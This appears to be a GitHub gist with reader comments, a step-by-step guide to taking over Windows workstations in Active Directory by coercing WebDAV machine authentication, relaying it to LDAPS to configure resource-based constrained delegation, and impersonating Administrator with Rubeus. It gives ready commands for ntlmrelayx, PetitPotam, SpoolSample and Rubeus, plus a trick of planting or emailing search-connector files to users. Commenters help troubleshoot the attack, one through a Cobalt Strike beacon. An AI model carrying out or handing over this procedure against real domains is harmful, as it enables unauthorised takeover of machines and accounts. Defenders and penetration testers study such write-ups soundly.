Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
From RPC to RCE - Workstation Takeover via RBCD and MS-RPChoose-Your-Own-Adventure

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

  • Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
  • Relaying that machine authentication to LDAPS for configuring RBCD
  • RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

RPC to RCE steps

  1. To begin setup a relay to the LDAPS server for configuring RBCD.

ntlmrelayx.py -t ldaps://dc.windomain.local --delegate-access NTLMRelayx.py

  1. Attempt to trigger machine authentication over HTTP to your relay. This can be done via the publicly known RPC calls (and undoubtly various other unpublished ones)

PetitPotam.exe logger@80/a.txt 192.168.38.104 PetitPotam

OR

SpoolSample.exe 192.168.38.104 logger@80/asdf SpoolSample

Note for this critical step (remote machine authentication) to work;

  • The WebClient service needs to be running on the target (192.168.38.104 in this example). It may already be started on some workstations (worth trying to see if you get lucky) but if not see the next section. Update: Lee Christensen has pointed out that you can remotely enumerate this via the PowerShell command Get-NTFile -Win32Path '\\target-ip\pipe\DAV RPC SERVICE' which returns the named pipe if accessible.
  • Your attacking host (logger in the case of my example) needs to be considered 'intranet' zoned by the target. One way to accomplish this is by using the netbios name of your attacking host (no periods).
  • The URI syntax used above to coerce HTTP authentication (swapping in your attacking hostname).
  • LDAP signing/channel-binding must be disabled (this is the default).
  1. If machine authentication is coerced, you should see a successful relay to LDAPS (assuming channel binding/signing is not enabled on the DC). This will result in the creation of a machine account for which RBCD is configured. If creating machine accounts is not possible, you can alternatively configure RBCD for a machine you have already compromised.

Successful Relay

  1. From here, it's simply a matter of following the standard RBCD takeover methodology. I switched over to Rubeus, since my Linux host wasn't yet configured for Kerberos authentication but of course you can do this all from one host.

Calculate Password Hash: Rubeus.exe hash /password:NkQuBzsPk_AqKC6 /user:ZESLUQVX$ /domain:windomain.local

Perform impersonation via S4U2Proxy: Rubeus.exe s4u /user:ZESLUQVX$ /rc4:D57DFD6E3BCDB1C2BF4D02CEE32F58C3 /impersonateuser:Administrator /msdsspn:cifs/WIN10.WINDOMAIN.LOCAL /ptt

S4U2proxy success

  1. Enjoy your new workstation.

Silver Ticket Use

Coercing the WebClient Service to Start

In my brief research/testing I found that a 'Search Connector' file could be used to start the WebClient service (as discussed/discovered by @DTMSecurity and @domchell). If you place said file locally, it will start the service locally (allowing for LPE) or you can place said file on an SMB share you have write access to. When a domain user browses that SMB share and views the 'searchConnector-ms' file you planted, the WebClient service will start on their workstation, and you can proceed with step 2 above. Of course you can also attempt NTLM relay of the user authentication, but our discussion/goal here is simply to have the WebClient started to enable machine takeover.

Before: WebClient Stopped

Creating the SearchConnector-ms File: SearchConnector

After:

WebClient Running

You can set the HTTP target as your attacker host so you know which workstation has had the WebClient started.

As an alternative approach (albeit less stealthy), you can email your target a 'Search Connector' file. If a user attempts to open the file, the WebClient service will start on their workstation.

@Hackndo
Copy link

Hackndo commented Sep 16, 2021

You can remotely scan if WebClient Service is enabled using https://github.com/Hackndo/WebclientServiceScanner (Technique based on tifkin tweet)

@0xElessar
Copy link

0xElessar commented Oct 4, 2021

Hey @gladiatx0r,

thanks for the great article. I can't reproduce it though due to below error message. Have you seen such behaviour? I really don't understand why the user/machine is recognised as "\" below. This should be a computer account!

I am using Proxychains to pass the traffic to beacon in Cobaltstrike. But that should not matter.

Any suggestions? Stuck pretty badly here. Trying countless things without any improvement.

[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 127.0.0.1, attacking target ldap://192.168.1.12
|S-chain|-<>-127.0.0.1:5555-<><>-192.168.1.12:389-<><>-OK
[*] Authenticating against ldap://192.168.1.12 as \ SUCCEED

UPDATE: Interesting. This misbehaviour happens when a victim is a Windows Server 2016 with WebClient installed and running. If a victim is a Windows 10 with Webclient running, this works perfectly!!!

@ivanov21
Copy link

ivanov21 commented Oct 17, 2021

Hello, great article. I dont really understand tough why a non privileged target machine account has access to write the msDS-AllowedToActOnBehalfOfOtherIdentity on the DC.

@Hackndo
Copy link

Hackndo commented Oct 17, 2021

@ivanov21 A non privileged target machine account has access to write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of its own account, not the attribute of the DC account. The operation is relayed to a DC because it's the DC that contains the directory, nothing more.

@siloed
Copy link

siloed commented Oct 31, 2021

@gladiatx0r @Hackndo , both authed petitepotam and spoolsample methods can no longer coerce the machine account to auth. I tested with a windows 10 host that has MS october 2021 patches and in both cases, it sends the auth for the currently logged in standard user and not the machine account.

Can you confirm this is the case you see as well? Are there any other methods to coerce the machine account to make RBCD work?

@Hackndo
Copy link

Hackndo commented Nov 2, 2021

Hey there, still works on my side with a win server 2019. Don't have a win10 on my lab though.

image

image

image

@Hackndo
Copy link

Hackndo commented Nov 2, 2021

Hey there, still works on my side with a win server 2019. Don't have a win10 on my lab though.

image

image

image

@ivanov21
Copy link

ivanov21 commented Nov 11, 2021

@ivanov21 A non privileged target machine account has access to write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of its own account, not the attribute of the DC account. The operation is relayed to a DC because it's the DC that contains the directory, nothing more.

Thanks @Hackndo , I tried to replay this scenario, but i keep getting "authentication failed" when relaying authentication to ldaps. Disabled smb and ldap signing on both side,but still get the same error. It works well when relaying to http (when targeting adcs server). Any tips ?

@Hackndo
Copy link

Hackndo commented Nov 12, 2021

You say "it sends the auth for the currently logged in standard user", that's weird as (for example) printerbug uses spoolservice which doesn't run as current logged in user. What if you don't have any user logged in?

You should send some screenshot of what you're doing, because it's hard to help with this little info :/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment